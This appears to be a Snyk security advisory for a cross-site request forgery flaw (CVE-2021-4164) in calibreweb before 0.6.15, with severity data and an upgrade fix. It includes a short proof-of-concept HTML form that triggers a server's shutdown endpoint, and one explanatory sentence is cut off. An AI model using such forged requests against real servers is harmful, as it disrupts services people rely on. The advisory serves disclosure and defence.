Cross-site Request Forgery (CSRF) Affecting calibreweb package, versions [,0.6.15)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.12% (49th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-CALIBREWEB-2359023
  • published23 Jan 2022
  • disclosed21 Jan 2022
  • creditScaramouche

Introduced: 21 Jan 2022

CVE-2021-4164  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade calibreweb to version 0.6.15 or higher.

Overview

calibreweb is a Web app for browsing, reading and downloading eBooks stored in a Calibre database.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) by accepting GET requests instead of POST on various endpoints, allowing

###PoC

<form action="http://127.0.0.1:8083/shutdown" method="GET">
<input type="hidden" name="parameter" value="1"/>
<input type="submit" value="Shutdown"/>
</form>

References

CVSS Scores

version 3.1